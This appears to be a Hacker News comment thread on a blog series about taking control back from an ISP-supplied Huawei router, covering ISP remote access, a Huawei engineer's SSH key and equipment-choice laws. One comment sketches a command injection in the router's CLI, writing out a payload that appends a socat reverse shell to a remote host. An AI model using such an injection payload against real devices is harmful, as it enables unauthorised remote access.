Interesting read! There's actually 3 parts to this:<p>Part 2:
<a href="https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-II/" rel="nofollow">https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already...</a><p>And 3:
<a href="https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/" rel="nofollow">https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already...</a><p>Summary from the end of Part 3:<p>"So we managed to change passwords for both ssh and telnet, gain access to Root user for the web interface, changed that password too. We changed ACS URL to ours and remove the IP restrictions. To put it simply, we cleaned up our router from our ISP. Good for our privacy."
It's funny to think that if you were to report all of your findings to your local newspaper (Turkish newspaper in this case), as to how Turkish ISPs have complete access to your router or how Huawei (China) has an SSH key for your router, people would go absolutely ballistic. But for us it's just another day of expected craziness and we're tired of talking about it
In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network.<p>I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephony.<p>This way I have my own equipment, that I control myself. The 'modem' [0] which my ISP supplied is still in its original, unopened box.
Apparently a polish carrier called Multimedia has recently introduced a new, revolutionary service for some customers. It's called "set up a custom wi-fi configuration", and it's just 5 pln (a little over $1)! It lets you think up of a ssid and password, and configure your router to use those! That's an amazing invention, isn't it? /s<p>Some customers apparently have absolutely no access to their routers, not even to the web interface, and they can't use their own either. All reconfiguration must be done through the customer service portal or by phone. That means the carrier can change for every little thing, including changing the Wi-Fi config! I'm not sure if you can even bridge, but I guess not. Note that this does not affect all customers of that carrier, just a minority.
Fantastic write up from a hacking point of view. I did wonder about this statement though:<p>"This is very invasive and unacceptable. It may seem necessary to apply security patches published by your ISP but the user should be able to disable it whenever she wants."<p>Legally, at least in countries where I've lived, the ISP still owns the router. This surprised me a bit when I first found out, but then I got used to the idea, but you should treat any ISP or telecom gear in your house as something that's "rented but still owned and controlled by someone else".
it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection.<p>For example<p><pre><code> iptables %s > %s 2>&1
</code></pre>
could probably be executed as<p><pre><code> iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1
</code></pre>
by issuing<p><pre><code> iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
</code></pre>
and therefore it might be possible to get real shell access too.
Very interesting article.<p>What about that precompiled .ssh/authorized_keys with user z00163152@HUAWEI-627FB9A3 mentioned in Part 3?<p>Any reason why a router firmware would permit root access to anyone at all? Definitely sounds like a backdoor to me.
...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future.<p>I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.
I never thought to nmap my own router until reading this.<p><pre><code> PORT STATE SERVICE
53/tcp open domain
80/tcp open http
631/tcp open ipp
5000/tcp open upnp
7777/tcp open cbt
20005/tcp open btx
</code></pre>
Now begins the three-hours-and-counting rabbit hole of trying to figure out what the hell is running on ports 7777 and 20005. Or why UPNP is apparently running, despite UPNP being explicitly disabled on the Netgear router's admin page.
> After looking into folders, I found some interesting files. I won’t go through them here but I want to mention just one of them: [$ cat etc/ssh/authorized_keys]. Maybe an engineer from Huawei (I assume z00163152@HUAWEI-627FB9A3) who owns a specific DSS key, can connect all HG253s routers without needing a password, who knows?<p>Who knows indeed?!
Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
I am using the exact same router from the same ISP. I was wondering what the problem was when I wasn't able to forward port 22 to my computer for an SSH connection.<p>I had thought it had something to with the ISP allocating the same static IP to multiple clients and blocking some common ports to prevent collisions (ended up using port 109.. something for SSH). Turns out it was more interesting!
Enjoyed this write-up, but most of the exploration seemed to be facilitated by someone having already leaked the CLI root password online. Anyone have suggestions on how you might otherwise obtain that information?
EU net neutrality regulation grants end users right to use their own equipment.<p><a href="https://fsfe.org/activities/routers/" rel="nofollow">https://fsfe.org/activities/routers/</a>
Many people here pointed out a problem: Removing access for the ISP and/or device manufacturer means they cannot fix bugs remotely and automatically. This is bad in situations like when the Mirai malware hit.<p>How about this?: "You can use your own device and we provide all required information, but there will be no advanced support and you have to check for bugfixes yourself monthly."<p>... now that I wrote it, I see the answer: There is no way to enforce this, especially not reliably.
Finally some proof that Huawei does have back doors in their network equipment.<p>In part 3 <a href="https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/" rel="nofollow">https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already...</a> the author rights that a Huawei engineer has an authorized ssh key that would allow them to access your router.<p>Just Wow!
Slightly off-topic: I'd really like to run screenfetch on my router (Asus RT-N66U), but it doesn't have enough free space to sftp the script to it [1]. Piping the script just freezes up. Does anyone know a good workaround? Has anyone ever tried this?<p>[1] <a href="https://unix.stackexchange.com/questions/510947/how-can-i-run-a-script-on-a-unix-box-without-enough-space-to-store-it" rel="nofollow">https://unix.stackexchange.com/questions/510947/how-can-i-ru...</a>
My ISP (Internode) provide a ‘modem’ for my NBN hybrid coax / fibre connection. I just put my OPNSense router in front of it and it’s all secure. They provided me with all the config settings, which are a bit more obscure than usual (PPPoE but on a specific vlan tag). Works like a charm and I don’t have to worry about weird government wiretapping or backdoors. My ISP provide an IPv6 range too, which is pretty cool.
My ISP has a cloud access "feature". If I go to 192.168.1.1 it redirects me to their "router.MYISP.net" site. What's the best way to go about disabling this? Should I just dump the rented router for my own?
Wow some good detective skills at work here , got a similar Huawei HG635 from my provider ... kept it because it supports LTE cutover.<p>Fortunately some kind person leaked the admin password so that I could configure it to my liking.
I'm overseas now, and using one of these crappy ISP-provided routers. I miss my nice Linksys router back home with high-density mesh, tri-band WiFi, and four gigabit ethernet ports.
The only router with good admin interface I ever had was one with open source software.<p>Every other router, for 20 years now, had a slow and buggy web interface.<p>Why is this?!
A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as <i>fuck you we don't talk directly to consumers</i>. I dont think the vulnerability was that bad, as you had to be logged in to the web interface already with another account, but still.<p>I don't really trust ISP provided hardware / software now though.